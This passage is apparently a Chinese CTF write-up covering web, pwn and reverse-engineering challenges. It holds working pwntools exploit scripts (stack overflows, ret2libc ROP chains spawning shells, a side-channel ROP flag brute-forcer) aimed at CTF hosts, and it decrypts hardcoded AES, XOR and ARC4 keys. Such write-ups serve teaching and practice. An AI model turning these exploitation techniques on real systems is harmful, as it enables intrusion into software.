flagNoteId = self.leakedFlagNoteId
response = requests.get(f'{self.baseUrl}{self.VIEW_NOTE_ROUTE}{flagNoteId}')
soup = BeautifulSoup(response.text, 'html.parser')
flagText = soup.find('p').text
isMatchedFlag = search(self.FLAG_FORMAT_REGEX_PATTERN, flagText)
if not isMatchedFlag:
print('\n[-] Couldn\'t view the flag\'s note')
exit(0)
flag = isMatchedFlag.group(1)
print(f'[+] The flag note has been viewed! Here\'s the flag: {flag}')
def solve(self):
self.injectPayloadToProtoBufSchema()
self.pollutePeernameAttributeAddress()
self.bruteForceNoteIdViaErrorBasedOracle()
self.viewFlagNote()
def argumentParser():
parser = argparse.ArgumentParser(description='A solve script for web challenge "required notes" at bi0sCTF 2024.')
parser.add_argument('-b', '--baseurl', metavar='<Base URL>', help='The instance\'s base URL. For example: https://ch15340143281.ch.eng.run', required=True)
return parser.parse_args()
if __name__ == '__main__':
args = argumentParser()
solver = Solver(args.baseurl)
solver.solve()后续:因为有人搜出来这个脚本,于是侧信道关掉了,这个脚本用不了,但是我的没用到侧信道,所以能直接打
pwn
从零开始的pwn。。。最难的一个方向
babystack
最基础的溢出
from pwn import *
io = remote("nc1.ctfplus.cn",11093)
system_addr = 0x4006E6 #后门函数的位置
io.sendlineafter("Please input the length of your name", b"-1") #输入-1,转换为size_t后变成4294967295
io.recvuntil("What's u name?")
payload = b'a' * (0x10 + 8) + p64(system_addr)#加8是覆盖旧的基址指针,然后加上返回地址
io.sendline(payload)
io.interactive()dizzy
差不多其实是逆向
from pwn import *
context.log_level='debug'
p=remote('nc1.ctfplus.cn', 37472)
flag="PvvN| 1S S0 GREAT!;/bin/sh\x00\x00"
print(len(flag))
for i in range(7):
a=i*4
p.sendline(str(u32(flag[a:a+4])-99))
for i in range(13):
p.sendline('1')
p.interactive()baby_rop
libc泄露
找pop rdi位置
(myenv) root@dkhkljCldvhMynf:~# ROPgadget --binary pwn |grep "pop rdi"
0x0000000000400733 : pop rdi ; ret通过puts泄露出read地址
搜索相应的libc,然后计算基址和system,/bin/sh的地址
不过这里搜索有点怪,试了很多次才找到正确的libc
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io= remote("nc1.ctfplus.cn", 23027)
elf = ELF("pwn")
offest = 0x20
rdi_ret_addr = 0x400733
rsi_ret_addr = 0x400731
puts_plt = elf.plt['puts']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = b'a'*(offest+8)+p64(rdi_ret_addr)+p64(read_got)+p64(puts_plt)+p64(main_addr)
#将read_got放进rdi,然后读取,最后返回到main函数
io.recvuntil('Pull up your sword and tell me u story!')
io.sendline(payload)
io.recv()
read_addr=u64(io.recv(6).ljust(8,b'\0'))
libc=LibcSearcher('read',read_addr)
libc_base = read_addr-libc.dump('read')
system_addr = libc_base+libc.dump('system')
sh_addr = libc_base+libc.dump("str_bin_sh")
payload1= b'a'*(offest+8)+p64(rdi_ret_addr)+p64(sh_addr)+p64(system_addr)
#将计算好偏移量的/bin/sh存入rdi,然后system调用
io.sendline(payload1)
io.interactive()
encrypted_stack
首先是给了个n和e,要求写20次密码题
直接分解即可,然后当成密码题去写
p=261571747
q=361571773找pop rdi和ret
(myenv) root@dkhkljCldvhMynf:~# ROPgadget --binary encrypted_stack |grep "pop rdi"
0x0000000000400952 : pop rdi ; ret(myenv) root@dkhkljCldvhMynf:~# ROPgadget --binary encrypted_stack |grep "ret"
0x00000000004006e1 : retinput you name那个函数要打两次,第一次获取puts函数地址,第二次跳到sh
这里用这个网站找了一下偏移量,猜测跟上一题(baby_rop)用的libc是一样的

from pwn import *
import libnum
context.log_level="debug"
io=remote("nc1.ctfplus.cn", 27624)
elf=ELF("encrypted_stack")
n=94576960329497431
e=65537
p=261571747
q=361571773
phin=(p-1)*(q-1)
d=libnum.invmod(e,phin)
io.recvuntil("input key\n")
for i in range(20):
c=int(io.recvuntil("\n")[:-1])
m=pow(c,d,n)
io.sendline(str(m))
io.recvline()
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln_addr=0x400B30
pop_rdi=0x400952
ret=0x4006e1
io.recvuntil("input you name:\n")
payload=b"a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
#覆盖返回地址,用pop rdi来将puts_got存入rdi寄存器,然后puts_plt来返回puts的地址(相当于puts(puts@got)),最后返回到漏洞函数
io.sendline(payload)
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\0"))
print("puts_addr=="+hex(puts_addr))
libc_base = puts_addr - 0x6f6a0 # puts 偏移
system = libc_base + 0x453a0 # system 偏移
binsh = libc_base + 0x18ce57 # /bin/sh 偏移
io.recvuntil("input you name:\n")
payload=b"a"*0x48+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
#将/bin/sh地址存入rdi,用ret对齐(16字节)最后调用system
io.sendline(payload)
io.interactive()不过这里其实不用对齐,因为系统版本太老了(乌班图16.04),没有太多安全限制
cmp


白名单允许open和read系统调用,开启RELRO,PIE
提示侧信道攻击,猜测是一个个字节去比对flag是否正确,通过程序退出状态来判断是否判断正确(web里也有类似的手法,就是盲注)
一开始想写shellcode,后面发现行不通,只能用rop链打
允许输入内容进y数组,而且读取的flag大小跟y数组相同,所以只要把猜测的flag放进y然后调用strcmp即可
不过strcmp返回的是函数指针,要用j_strcmp(去libc里面找),此时返回的就是0或1了

如果相同就会把rax设置为0,巧的是此时调用syscall就是调用read
不过read还需其他参数,分别放进
rdi=0:文件描述符(标准输入)rsi:缓冲区地址(my_flag_addr+0x40)rdx=1:读取的字节数
但是这里有个坑,这个libc没有纯净的pop rdx; ret;
只有个pop rdx; pop r12; ret;
所以要额外清理一下
调用read之后,程序不会直接退出,可以通过p.recv(1, timeout=2)判断是否退出
如果退出了会报错
但是这里也有一个坑,就是第一次recv会收到\n
第二次的才是read
from pwn import *
import sys
context(os='linux', arch='amd64')
context.log_level = 'error'
libc = ELF("./libc.so.6")
def try_flag(flag):
try:
#p = process("./pwn")
p = remote("nc1.ctfplus.cn", 32730)
p.recvuntil(b"puts address:")
puts_leak = int(p.recvline().strip(), 16)
p.recvuntil(b"flag:")
flag_addr = int(p.recvline().strip(), 16)
p.recvuntil(b"y:")
my_flag_addr = int(p.recvline().strip(), 16)
log.info(f"libc_base: {hex(libc_base)}")
log.info(f"flag_addr: {hex(flag_addr)}")
log.info(f"my_flag_addr: {hex(my_flag_addr)}")
# Gadgets
libc_base = puts_leak - libc.sym['puts']
pop_rdi = libc_base + 0x2a3e5 # pop rdi; ret;
pop_rsi = libc_base + 0x2be51 # pop rsi; ret;
pop_rdx_r12 = libc_base + 0x11f2e7 # pop rdx; pop r12; ret;
j_strcmp = libc_base + 0x28690 # j_strcmp
syscall= libc_base + 0x29db4 # syscall
# 溢出
payload = b'A' * 0x28
# 比较
payload += p64(pop_rdi)
payload += p64(my_flag_addr)
payload += p64(pop_rsi)
payload += p64(flag_addr)
payload += p64(j_strcmp)
# read
payload += p64(pop_rdi)
payload += p64(0) # fd=0 (stdin)
payload += p64(pop_rsi)
payload += p64(my_flag_addr+0x40) # Buffer
payload += p64(pop_rdx_r12)
payload += p64(1) # length=1
payload += p64(0) # r12 (garbage)
payload += p64(syscall) # syscall
p.sendafter(b"Guess", flag)
p.sendline(payload)
#p.interactive()
try:
if p.recv(1, timeout=2):
p.recv(1, timeout=2)#坑
p.close()
return True
except:
p.close()
return False
except:
return False
flag = "ynuctf{"
charset = "qazwsxedcrfvtgbyhnujmikolp1234567890{}-QAZWSXEDCRFVTGBYHNUJMIKOLP_!@#$%^&*()_+|~`"
while not flag.endswith('}'):
for c in charset:
current_guess = flag + c
sys.stdout.write(f"\rTrying: {current_guess}")
sys.stdout.flush()
if try_flag(current_guess):
flag = current_guess
print(f"\nSuccess: {flag}")
break
else:
print("\nFailed to find next character")
break
print(f"Final flag: {flag}")然后就看着flag一个个爆出来就行了
re
re0-从零开始的逆向,全靠ai辅助解题,感觉挺好玩的(防ak题除外)
ez_map

前面是读取输入,然后给main_validatePath函数
跟进去

大概就是遇到#就失败,终点$算成功
找到map即可 
然后照着走就行了
路径WDDDWWAAAWAASAAWWW
对了,源码里面泄露的flag是假的,真正的flag是
ynuctf{WDDDWWAAAWAASAAWWW}
ez_apk
反编译一下
package com.example.ez_apk;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
private static final String SECRET_KEY = "ynuCTF_CloudEver";
private static final String TARGET_ENCRYPTED = "RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN";
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final EditText etInput = (EditText) findViewById(R.id.etInput);
Button btnCheck = (Button) findViewById(R.id.btnCheck);
final TextView tvResult = (TextView) findViewById(R.id.tvResult);
btnCheck.setOnClickListener(new View.OnClickListener() { // from class: com.example.ez_apk.MainActivity$$ExternalSyntheticLambda0
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.this.m68lambda$onCreate$0$comexampleez_apkMainActivity(etInput, tvResult, view);
}
});
}
/* renamed from: lambda$onCreate$0$com-example-ez_apk-MainActivity, reason: not valid java name */
/* synthetic */ void m68lambda$onCreate$0$comexampleez_apkMainActivity(EditText etInput, TextView tvResult, View v) {
String input = etInput.getText().toString();
if (input.isEmpty()) {
Toast.makeText(this, "请输入内容", 0).show();
return;
}
try {
String encrypted = encrypt(input);
if (encrypted.equals(TARGET_ENCRYPTED)) {
tvResult.setText("验证成功 ✅");
} else {
tvResult.setText("验证失败 ❌\n加密结果:" + encrypted);
}
} catch (Exception e) {
e.printStackTrace();
tvResult.setText("加密出错:" + e.getMessage());
}
}
private String encrypt(String strToEncrypt) throws Exception {
SecretKeySpec secretKey = new SecretKeySpec(SECRET_KEY.getBytes(StandardCharsets.UTF_8), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, secretKey);
byte[] encryptedBytes = cipher.doFinal(strToEncrypt.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
}
}AES直接就能解出flag
from Crypto.Cipher import AES
import base64
encrypted_data = "RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN"
key = "ynuCTF_CloudEver".encode('utf-8')
assert len(key) == 16, "密钥长度错误"
cipher = AES.new(key, AES.MODE_ECB)
encrypted_bytes = base64.b64decode(encrypted_data)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
pad_length = decrypted_bytes[-1]
plaintext = decrypted_bytes[:-pad_length]
print("解密后的Flag:", plaintext.decode('utf-8'))ez_pyd

看到xor什么的,猜测逻辑大概就是读取key然后异或
那么只需要拿到key即可 但是直接静态分析是没有key的(有点难找,所以选择用xor小特性)
这里的pyd相当于动态链接库,安装python3.10,把脚本和pyd放到同一个文件就能导入
from xor import encrypt
def guess_xor_key():
test_cases = [
("\x00" * 32, "全零明文")
]
for plain, desc in test_cases:
try:
encrypted = encrypt(plain)
hex_result = encrypted.encode("latin-1").hex()
print(f"测试用例: {desc}")
print(f"加密结果 (hex): {hex_result}")
print("=" * 50)
except Exception as e:
print(f"加密失败 ({desc}): {e}")
if __name__ == "__main__":
guess_xor_key()由于异或的特性,直接发送全0的数据,得到的就是key了
那么从输出的16进制中提取出key
77656c63306d6532796e75637466
然后异或即可拿到flag
完整脚本
from xor import encrypt
zero_input = "\x00" * 32
encrypted_hex = encrypt(zero_input)
key_bytes = bytes.fromhex(encrypted_hex)
target_hex = "0e0b1900440b1e4511172a0d1b1228111e1a6f155540261c1015111404004d1e"
target_bytes = bytes.fromhex(target_hex)
decrypted = bytes([target_bytes[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(target_bytes))])
print("flag:", decrypted.decode("utf-8", errors="replace"))写的时候忘记了xor有个更好的特性,就是密文放进去再异或一边就是明文了。。。连key都不需要算
ez_jni
打开apk

发现对ez_jni库的调用
反编译这个库

发现密钥是硬编码的,加密方式为ARC4
其中密文是v15
进去看到密文

不过这里要注意小端序转换
最终脚本
from Crypto.Cipher import ARC4
def try_decrypt(hardcoded_hex, combination_name):
try:
hardcoded_cipher = bytes.fromhex(hardcoded_hex.replace(" ", ""))
cipher = ARC4.new(b"jni_CloudEver")
keystream = cipher.encrypt(b"\x00" * len(hardcoded_cipher))
plaintext = bytes([hc ^ ks for hc, ks in zip(hardcoded_cipher, keystream)])
print(f"[{combination_name}]")
print("Hex:", plaintext.hex())
print("ASCII:", plaintext.decode(errors="ignore")[:40], "\n")
except Exception as e:
print(f"Error in {combination_name}: {e}")
try_decrypt(
"8D851F15AB765E28581A4B0D5788E1E0"
"4F0BB13A8B39005D81D9C772BD0B90C3"
"69D64CB87CB32E00",
"小端序"
)ez_llvm
main函数调用了一个奇奇怪怪的函数

进去之后是一大坨


将所有内容给ai,最终梳理出来的逻辑大概是生成key然后异或,与目标进行比对
key似乎动态生成,不清楚具体是什么
但是已知前缀是ynuctf{所以可以进行已知明文攻击来找规律
通过尝试,最后发现其实某位的key实际上就是下一位的明文
那么就可以链式推导出flag了
encrypted = [
0x17, 0x1B, 0x16, 0x17, 0x12, 0x1D, 0x17, 0x5D,
0x47, 0x1B, 0x32, 0x27, 0x48, 0x42, 0x2D, 0x2C,
0x1B, 0x01, 0x0F, 0x12, 0x2B, 0x6E, 0x42, 0x2C,
0x39, 0x13, 0x1B, 0x13, 0x28
]
known_plaintext = [0x79, 0x6E, 0x75, 0x63, 0x74, 0x66, 0x7B]
flag = known_plaintext.copy()
for i in range(len(known_plaintext) - 1, len(encrypted)-1):
if i >= len(flag):
break
# 加密规则:encrypted[i] = flag[i] ^ flag[i+1]
# 推导下一个字符:flag[i+1] = flag[i] ^ encrypted[i]
next_char = flag[i] ^ encrypted[i]
flag.append(next_char)
flag_str = ''.join([chr(c) for c in flag])
print("Flag:", flag_str)最后
第一次从零开始学好多方向啊,感觉逆向和pwn其实还挺有趣的(虽然多半靠ai)
估计以后会稍微深入学一下
最后,欢迎各位师傅找我交流技术问题,邮箱[email protected]
博客也是刚建没多久,欢迎来看看,互换友链什么的